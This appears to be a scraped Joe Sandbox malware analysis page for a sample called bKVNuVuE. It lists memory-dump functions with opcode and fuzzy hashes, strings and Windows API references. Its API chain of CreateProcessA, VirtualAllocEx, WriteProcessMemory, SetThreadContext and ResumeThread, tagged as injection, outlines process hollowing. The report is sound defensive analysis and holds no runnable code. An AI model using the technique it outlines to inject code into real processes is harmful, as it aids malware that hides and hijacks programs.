Snapshot File: hcaresult_19_2_210000_bKVNuVuE.jbxd

Similarity

API ID:
String ID: Tep$pT!
API String ID: 0-2144713336
Opcode ID: a7e90029349ac31df84d3ac1b47af424062a7cabb57664a5da3de1ab705966cc
Instruction ID: 5cc82a60a77dba49374eccf3c42ea1fbfffce8c09ebe64f621d80dda53a83d39
Opcode Fuzzy Hash: a7e90029349ac31df84d3ac1b47af424062a7cabb57664a5da3de1ab705966cc
Instruction Fuzzy Hash: 6E517C38720A15DFDB249F68D8587AD77F2EFE8342F2444A9E406C73A5CAB08C95CB41

Function 002108F0 Relevance: 2.6, Strings: 2, Instructions: 119COMMON

Download Yara Rule

Strings

P}6, xrefs: 00210914
{ , xrefs: 002109E2

Memory Dump Source

Source File: 00000013.00000002.476866338.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_210000_bKVNuVuE.jbxd

Similarity

API ID:
String ID: P}6${
API String ID: 0-557245861
Opcode ID: 24b5e0f7ca7ed5958ad10e05e2946f83c689afd36768f3dde420ee6c04dee2f9
Instruction ID: ee3ad2c267f5fb8cc8fd76848834e005d625518bc434ead02b68c1ffa312cebe
Opcode Fuzzy Hash: 24b5e0f7ca7ed5958ad10e05e2946f83c689afd36768f3dde420ee6c04dee2f9
Instruction Fuzzy Hash: 4941C270A24355CFC714DF68D4A4AEDBBF2AF99310F2485A6D146AB292C7B0DCD0CB91

Function 00A6980D Relevance: 1.8, APIs: 1, Instructions: 326processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00A69ADF

Memory Dump Source

Source File: 00000013.00000002.477720758.0000000000A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a60000_bKVNuVuE.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 359c26a6f2f05fe9e71c2bc8c5431a7471087dd58dab9a60c4ce6c7c5571bb61
Instruction ID: 654536a3a1f0cf6b30fb79a1ddf0989bfe17f2b7c63dff331fd25069d029d0bc
Opcode Fuzzy Hash: 359c26a6f2f05fe9e71c2bc8c5431a7471087dd58dab9a60c4ce6c7c5571bb61
Instruction Fuzzy Hash: 45C12771D002598FDF24CFA8C841BEEBBB5BF09304F0091AAD859B7250DB749A85CF95

Function 00A69818 Relevance: 1.8, APIs: 1, Instructions: 323processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00A69ADF

Memory Dump Source

Source File: 00000013.00000002.477720758.0000000000A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a60000_bKVNuVuE.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 070ee0d8680d5b520e2078144d33a66144bbf114897d5deb9006722a3b72a340
Instruction ID: 1d6a0944ca14394825f8b8821da30eae2bb2ac220b839c8ec86ec74b27e911f9
Opcode Fuzzy Hash: 070ee0d8680d5b520e2078144d33a66144bbf114897d5deb9006722a3b72a340
Instruction Fuzzy Hash: A5C12671D002198FDF24DFA8C841BEEBBB5BF09314F0091AAD859B7250DB749A85CF95

Function 00A69478 Relevance: 1.6, APIs: 1, Instructions: 120injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 00A69553

Memory Dump Source

Source File: 00000013.00000002.477720758.0000000000A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a60000_bKVNuVuE.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 20656386017efa18d1d8e16ed0d663e49f7ca7efda198ca5941633bd3a890ece
Instruction ID: f1441992f84d77fe81203e7008d4fb2014c5d956a848505c40ada44459e944f4
Opcode Fuzzy Hash: 20656386017efa18d1d8e16ed0d663e49f7ca7efda198ca5941633bd3a890ece
Instruction Fuzzy Hash: D641AAB5D002589FCF00CFA9D984AEEFBF1BB49314F24942AE815BB250D734AA45CF64

Function 00A69480 Relevance: 1.6, APIs: 1, Instructions: 118injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 00A69553

Memory Dump Source

Source File: 00000013.00000002.477720758.0000000000A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a60000_bKVNuVuE.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: f906f73957bf12ef66e5c3c64807bb18d92b143036421f3160bac616c22fa2ed
Instruction ID: 40e1e722d15d8e4b5e26a1b2114b2aa39bf629d00a9936a162eb3494bec068c6
Opcode Fuzzy Hash: f906f73957bf12ef66e5c3c64807bb18d92b143036421f3160bac616c22fa2ed
Instruction Fuzzy Hash: 5841AAB4D002489FCF00CFA9D984AEEFBF1BB49314F20942AE819B7250D734AA45CF64

Function 00A695D8 Relevance: 1.6, APIs: 1, Instructions: 110COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 00A69692

Memory Dump Source

Source File: 00000013.00000002.477720758.0000000000A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a60000_bKVNuVuE.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: e210688c8e2fe174cd7ffa7ad9684e4fb39a3f900c68f67dc0d2fec5655b71cd
Instruction ID: c7517ba645c23b197d133590d9bff415e07fdcfa577addb11df74bb8553ac567
Opcode Fuzzy Hash: e210688c8e2fe174cd7ffa7ad9684e4fb39a3f900c68f67dc0d2fec5655b71cd
Instruction Fuzzy Hash: 1A41BAB8D002589FCF10CFA9D984AEEFBB5BF49310F20942AE814B7250D774A955CF64

Function 00A695E0 Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 00A69692

Memory Dump Source

Source File: 00000013.00000002.477720758.0000000000A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a60000_bKVNuVuE.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: b3ae7fd956810e00e4618274ffd169b5ad6f9b4c74821f6c9fc2e1198433f762
Instruction ID: 4af2a61a3033b139e9870a2dbbc3e59d4ac6b558b00f8892aef6513dd1383338
Opcode Fuzzy Hash: b3ae7fd956810e00e4618274ffd169b5ad6f9b4c74821f6c9fc2e1198433f762
Instruction Fuzzy Hash: BC41A9B9D002589FCF10CFAAD984AEEFBB5BF49310F20942AE814B7240D775A955CF64

Function 00A69350 Relevance: 1.6, APIs: 1, Instructions: 105memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 00A69402

Memory Dump Source

Source File: 00000013.00000002.477720758.0000000000A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a60000_bKVNuVuE.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 462f079af9364579d84f82973f1e2b9a411746f70ac478c633a0b7e7e0045f29
Instruction ID: e3c3c76b1ae2434c3aacb86cbc933022084030ec932c7ad755db642f4f124eee
Opcode Fuzzy Hash: 462f079af9364579d84f82973f1e2b9a411746f70ac478c633a0b7e7e0045f29
Instruction Fuzzy Hash: F0418AB4D002589FCF10CFA9D984AAEFBB5BF49310F10942AE814B7350D735A956CF65

Function 00A69358 Relevance: 1.6, APIs: 1, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 00A69402

Memory Dump Source

Source File: 00000013.00000002.477720758.0000000000A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a60000_bKVNuVuE.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 2d8cb0cd858e86c70965d63cea326a50b95bee0a440f6643949816451f3c7337
Instruction ID: dd87a7e88ff2956ad27251ef554eb2b48293b0f9e8dc119fc88ba341ba1c1886
Opcode Fuzzy Hash: 2d8cb0cd858e86c70965d63cea326a50b95bee0a440f6643949816451f3c7337
Instruction Fuzzy Hash: 6B4198B8D002589FCF10CFA9D984AEEFBB5BB49310F20942AE814B7310D735A946CF65

Function 00A69220 Relevance: 1.6, APIs: 1, Instructions: 98threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 00A692D7

Memory Dump Source

Source File: 00000013.00000002.477720758.0000000000A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a60000_bKVNuVuE.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 69a57939fa35f941605b291cc04b27c66c7c317d4182242d796508fb78b4bc21
Instruction ID: ca01e0351a5a3bde7fe8bc295f1d1d4127c86d3c98b23f2e332d9745c157f952
Opcode Fuzzy Hash: 69a57939fa35f941605b291cc04b27c66c7c317d4182242d796508fb78b4bc21
Instruction Fuzzy Hash: B541ACB4D002589FCB10DFAAD984AEEFBF5AF49314F24942AE414B7240D778A945CF64

Function 00A69228 Relevance: 1.6, APIs: 1, Instructions: 96threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 00A692D7

Memory Dump Source

Source File: 00000013.00000002.477720758.0000000000A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a60000_bKVNuVuE.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 5fa1ad4ab8f7e13fbbab46581c8590e03ffa6b3f97e16d3347939852a9857159
Instruction ID: fc169ff086f2807036b21130ac2231a63cd7809876fb3e2dcbdfc831e99fa674
Opcode Fuzzy Hash: 5fa1ad4ab8f7e13fbbab46581c8590e03ffa6b3f97e16d3347939852a9857159
Instruction Fuzzy Hash: AB41ACB4D002589FCF10CFAAD884AEEFBB5AF49314F24842AE414B7240D738A949CF54

Function 00A69130 Relevance: 1.6, APIs: 1, Instructions: 78threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32(?), ref: 00A691B6

Memory Dump Source

Source File: 00000013.00000002.477720758.0000000000A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a60000_bKVNuVuE.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 0135afdf49316f9a2d7bcf502773104f2b63e3dddbe23e34313d641d5f7346ae
Instruction ID: a6243d4b09c330ec7b5725781d413efa33de0105c381b258db99bd2488e43f81
Opcode Fuzzy Hash: 0135afdf49316f9a2d7bcf502773104f2b63e3dddbe23e34313d641d5f7346ae
Instruction Fuzzy Hash: 9D31CAB4D002199FCF10CFA9D984AAEFBB5EF49314F20942AE815B7340D735A905CFA4

Function 00A69138 Relevance: 1.6, APIs: 1, Instructions: 75threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32(?), ref: 00A691B6

Memory Dump Source

Source File: 00000013.00000002.477720758.0000000000A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a60000_bKVNuVuE.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 313da3664c01a8bf887c93cd4ab85effab8105cfce069106b5e5dea689a7fc19
Instruction ID: 8073cf0e464d8dc7ef08fa756d897ade660942a4630608ecb5291307233cf151
Opcode Fuzzy Hash: 313da3664c01a8bf887c93cd4ab85effab8105cfce069106b5e5dea689a7fc19
Instruction Fuzzy Hash: DD31BAB4D002199FCF10CFA9D984AEEFBB5AF49314F24942AE819B7300D735A905CFA4

Function 0021512A Relevance: 1.3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

Strings

Tep, xrefs: 00215314

Memory Dump Source

Source File: 00000013.00000002.476866338.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_210000_bKVNuVuE.jbxd

Similarity

API ID:
String ID: Tep
API String ID: 0-914316021
Opcode ID: da3b7e0de2fcccdb7d908bc3cfa4a236daa343960ae73ca7dd593938e4426ab6
Instruction ID: 462871b840bc5e1915c9135f8de5395132b185f62ca77c08e5263d508d772888
Opcode Fuzzy Hash: da3b7e0de2fcccdb7d908bc3cfa4a236daa343960ae73ca7dd593938e4426ab6
Instruction Fuzzy Hash: 5D01F730B381509FCB299BB888A87EE7EE25FD4300F1544ADA4079B381CDB44C56D751

Function 00215560 Relevance: 1.3, Strings: 1, Instructions: 30COMMON

Download Yara Rule

Strings

R, xrefs: 00215568

Memory Dump Source

Source File: 00000013.00000002.476866338.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_210000_bKVNuVuE.jbxd

Similarity

API ID:
String ID: R
API String ID: 0-1466425173
Opcode ID: 6f3f060dd96dcf96a40b7d679daf88784db40b8911e3011392115a8ee6aa5154
Instruction ID: 31ae29fdf9adc964084ed5203c7bd130749a99814aca1cd4871bec4e113cb64c
Opcode Fuzzy Hash: 6f3f060dd96dcf96a40b7d679daf88784db40b8911e3011392115a8ee6aa5154
Instruction Fuzzy Hash: F4F0273530CB809FC3175B306C1849E3FB9AF63285B0A42DBE845C73A7DE68480B8B45

Function 00210B00 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.476866338.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_210000_bKVNuVuE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fe6438f12b25ccf463d4730e27184cee8c464f10be3e188b83e05a8b4fff7c1
Instruction ID: 3742243af4c5d6714f9c5e57c597be5aeee00f0c6c72454ee2466d556cba88ce
Opcode Fuzzy Hash: 9fe6438f12b25ccf463d4730e27184cee8c464f10be3e188b83e05a8b4fff7c1
Instruction Fuzzy Hash: 8B317A74A10208DFC715EFA8C585A9DBBF2AF61304F4585DAD0199F222DB70DEE48F86

Function 0021EA78 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.476866338.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_210000_bKVNuVuE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d71c40b011a33d6e9e1dd09fbea72855151ea96acd7ae6ecd98b0c07bef0d85d
Instruction ID: e9e274a7479a63d0b40d4427f233cce2192b194cfdc4da329a3c942b0aa07389
Opcode Fuzzy Hash: d71c40b011a33d6e9e1dd09fbea72855151ea96acd7ae6ecd98b0c07bef0d85d
Instruction Fuzzy Hash: F1419A70A21209EFCB44CF99D9888AEFBF1FF99300B21D896C405A7368D730DA61DB40

Function 001CD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.476789195.00000000001CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 001CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1cd000_bKVNuVuE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73422e038d2d0e4f5e722b536799c2fee7eedd662e0fb64731330d9af40bf056
Instruction ID: 2446ae9d3a612b1c349afd3d13331e462045d33a89eee71fd6583663ff162417
Opcode Fuzzy Hash: 73422e038d2d0e4f5e722b536799c2fee7eedd662e0fb64731330d9af40bf056
Instruction Fuzzy Hash: 2F21AF75604240AFDB15CF18E884F26BBA5EB94314F24C5BDE84A4B246C736D857CBA2

Function 001CD1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.476789195.00000000001CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 001CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1cd000_bKVNuVuE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8e7576125b332b313445a00ccad6ad941a2c85a52c7cd0d0395cdfde5acf226
Instruction ID: 7f5c60fc1ccf10a8a87b707d8ed240768f809aa2b8ba845b7090dc1bfa32b1fe
Opcode Fuzzy Hash: e8e7576125b332b313445a00ccad6ad941a2c85a52c7cd0d0395cdfde5acf226
Instruction Fuzzy Hash: 1A21FFB1604240EFDB06CF14E9C0F26BBA1FB94314F24C6BDE8494B246C336D84ACB61

Function 001CD006 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.476789195.00000000001CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 001CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1cd000_bKVNuVuE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2049c9f2fcaa8303ed86d1b6b569958068252656f0d092f716e8843d05b4d183
Instruction ID: 40243f35f3ee0dc20529e0be10ecde11bb68e2a8f454aea6b0cfb4c186990162
Opcode Fuzzy Hash: 2049c9f2fcaa8303ed86d1b6b569958068252656f0d092f716e8843d05b4d183
Instruction Fuzzy Hash: 4C2180755083809FDB02CF14D994B15BF71EB56314F28C5EAD8498F267C33AD85ACB62

Function 0021C8A8 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.476866338.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_210000_bKVNuVuE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0742ffc3f5b0a55e235f2e666d288f7920680170c40ced660e59cd3c07bb862
Instruction ID: 48d6ba372b54d2b0475b3f716b158b0fa53dea93380a1fa0e2d215fd8fb07dad
Opcode Fuzzy Hash: b0742ffc3f5b0a55e235f2e666d288f7920680170c40ced660e59cd3c07bb862
Instruction Fuzzy Hash: 5A110A38E14108EFCB44DFA9C985AAEFBF2EF98300F25C4AAD41897365D730DA518B40

Function 001CD1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.476789195.00000000001CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 001CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1cd000_bKVNuVuE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf97df7c3807292c182f1b7c3dfb3e406c11d3bc6a6cd3de1006cfbaae9c3a26
Instruction ID: 957bfd6d956499c6061681bc86fe1e1f1defdecf5ea5ad5fccd6a5237950cdd7
Opcode Fuzzy Hash: cf97df7c3807292c182f1b7c3dfb3e406c11d3bc6a6cd3de1006cfbaae9c3a26
Instruction Fuzzy Hash: 32119D75904280DFDB12CF14D9C4B15FFA1FB94314F28C6AED8494B656C33AD84ACBA2

Function 002110B7 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.476866338.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_210000_bKVNuVuE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68b72c06e42860ef6d8c2a89cef97034831140ae2ccea89b273c231614d7a261
Instruction ID: 80f2497811a6e32a9a763854b0c064752f177ed018dd8755b0bed9938a85dca9
Opcode Fuzzy Hash: 68b72c06e42860ef6d8c2a89cef97034831140ae2ccea89b273c231614d7a261
Instruction Fuzzy Hash: 1301E130919388EFCB02EB68D8566DCBBB1EF41304B6585DAC5488B623D6309E59CB81

Function 00210838 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.476866338.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_210000_bKVNuVuE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ad7ae2e140884419b37adb161ad90533635b7763c8b2f5867bdc577fa788183
Instruction ID: 43511583611c1a3ede2061d72f5f11140579967e7430a640efff61f54aa6dc01
Opcode Fuzzy Hash: 1ad7ae2e140884419b37adb161ad90533635b7763c8b2f5867bdc577fa788183
Instruction Fuzzy Hash: A5114871D042499FCB06EFB8C9516DEBFB1EF89300F1489EAC055AB356EA748A058F81

Function 00210848 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.476866338.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_210000_bKVNuVuE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40e09fe9c13532ea967d34222d4166e6e19bab53b5dfdfc043d1e8bbf9875c08
Instruction ID: d936ff4717d1d1a26bcc65a2c9a81eaa110b1472899126d35a54b131ba5d0732
Opcode Fuzzy Hash: 40e09fe9c13532ea967d34222d4166e6e19bab53b5dfdfc043d1e8bbf9875c08
Instruction Fuzzy Hash: 6201E571D0020DAFCB45EFE8C9516DEFFB1EF88300F1089AAD015AB355EA709A459B81

Function 00211638 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.476866338.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_210000_bKVNuVuE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64d2c95bfce3b75cf20962da3eb3440797a28a6d7800bee5989cd88d3a32235f
Instruction ID: 5225af2ffdb1875c5bfc1ccf1c673485ef1193ec8e77dcf07f473c94e75f6100
Opcode Fuzzy Hash: 64d2c95bfce3b75cf20962da3eb3440797a28a6d7800bee5989cd88d3a32235f
Instruction Fuzzy Hash: D7018130520754DBCB25AB38C8403EDB7B3AFE1340F504A5CD10A1B241DFB49AEA8BA2

Function 00210C60 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.476866338.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_210000_bKVNuVuE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc6bb04fbbb767830a7750d352958e2c61845dd29d7db171cb5cd3a805faa9cc
Instruction ID: e87de0a84c11cf0f9405095737a0021d212ad6acba7dbb802cfdb39a59d8cfbb
Opcode Fuzzy Hash: cc6bb04fbbb767830a7750d352958e2c61845dd29d7db171cb5cd3a805faa9cc
Instruction Fuzzy Hash: C3D02B21519B941BC31B623918210C57BCA4F9660074644A7E44C8B113D8440D9686D9

Function 00215581 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.476866338.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_210000_bKVNuVuE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 818afb3ced10816506c31de8d1e4f05e30733720556e44e2c23b46f5125f465c
Instruction ID: a3d81b5ba84502a5f5ed30b0c3572a01bf3c01b13993ed5cd7ec6dbecd6d1f29
Opcode Fuzzy Hash: 818afb3ced10816506c31de8d1e4f05e30733720556e44e2c23b46f5125f465c
Instruction Fuzzy Hash: 68E0C239310A109FC7246B30BC1446E7FAABFEA29131582AEFC07C3714DE7588038B49

Function 00211110 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.476866338.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_210000_bKVNuVuE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8f5a82cecf22e2d9b93c2d32dfe7650abfce303213e116dc66b1b9beb244c03
Instruction ID: 8464c6b27c7543d1b75097e31049cfa795dd3f8f4ac2338e58d090b02755b650
Opcode Fuzzy Hash: f8f5a82cecf22e2d9b93c2d32dfe7650abfce303213e116dc66b1b9beb244c03
Instruction Fuzzy Hash: 1AD01270A1534CFBCB01EFB8D94699D77B5DF44308B9145A9E40897202DA71AF459B81

Function 0021053C Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.476866338.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_210000_bKVNuVuE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59f917cb7c93a1d43cf6b30de177fcb4d23e3fde06a377e5ebd2c3f98f0e9256
Instruction ID: e748ac77dd932a3f65af7c82f1683ce61c78c0a37c2c9c647c86ae2c6fba2581
Opcode Fuzzy Hash: 59f917cb7c93a1d43cf6b30de177fcb4d23e3fde06a377e5ebd2c3f98f0e9256
Instruction Fuzzy Hash: 5FD02231722B2863822CB22F10802EFB1CFAF90710BC0843BF00D82211EED0ACD00ACD

Function 0021817E Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.476866338.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_210000_bKVNuVuE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d549c6818575e292e8aadb67713346e483a9f76684bb0c71b3e92cf2c3ba7bd3
Instruction ID: 7129ddfb491db6cc5beb2bbca1e5d9adf7db908e476fb53dbf918ff0d779e1c3
Opcode Fuzzy Hash: d549c6818575e292e8aadb67713346e483a9f76684bb0c71b3e92cf2c3ba7bd3
Instruction Fuzzy Hash: AFE0E238A012149FDB24DB24DE58B98BBF2AF5A200F0140E5E90AD3362CB309E85DF01

Function 00219188 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.476866338.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_210000_bKVNuVuE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcf13bc4c53c83c3396e3602c2555aa52872a973748d0a12562e9d9bdd56d230
Instruction ID: 34d6a0225ad67b27b8a57f721274a75af61aa40b60fd556997099a496316c546
Opcode Fuzzy Hash: bcf13bc4c53c83c3396e3602c2555aa52872a973748d0a12562e9d9bdd56d230
Instruction Fuzzy Hash: B6C01231401209ABC320DFB998197597B98DB16201F004065D50883110E67549949A62

Function 00215681 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.476866338.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_210000_bKVNuVuE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a8d362bfd582aed848b1311ddb8d71717d8b32fab2a9f6908e01bbad7872fe1
Instruction ID: 89a1bb1eee2258b0aa5890dc269afbc05f66c783621a10f48663c2911c052251
Opcode Fuzzy Hash: 2a8d362bfd582aed848b1311ddb8d71717d8b32fab2a9f6908e01bbad7872fe1
Instruction Fuzzy Hash: 0CC04C5818DB819BCB1A57605914141BF317D0360334586C2C0D985562DB165816C3A2

Non-executed Functions

Function 00212ACD Relevance: 12.5, Strings: 10, Instructions: 5COMMON

Download Yara Rule

Strings

$p, xrefs: 00212D80
fp, xrefs: 00212DD9
Tep, xrefs: 00212B39
$p, xrefs: 00212CDE
XXp, xrefs: 00212A97
$p, xrefs: 00212CBC
fp, xrefs: 00212CAC
XXp, xrefs: 00212AE4
XXp, xrefs: 00212B2B
$p, xrefs: 00212BB9

Memory Dump Source

Source File: 00000013.00000002.476866338.0000000000210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_210000_bKVNuVuE.jbxd

Similarity

API ID:
String ID: fp$ fp$Tep$XXp$XXp$XXp$$p$$p$$p$$p
API String ID: 0-355809937
Opcode ID: f42c79d0cb92e05354afa3433d8b0c2467ddaf617ea12b0d96350c9077307fee
Instruction ID: 82477284162d4945be0b8d87a601e184d2c873ea9741d69a1411fb703c407787
Opcode Fuzzy Hash: f42c79d0cb92e05354afa3433d8b0c2467ddaf617ea12b0d96350c9077307fee
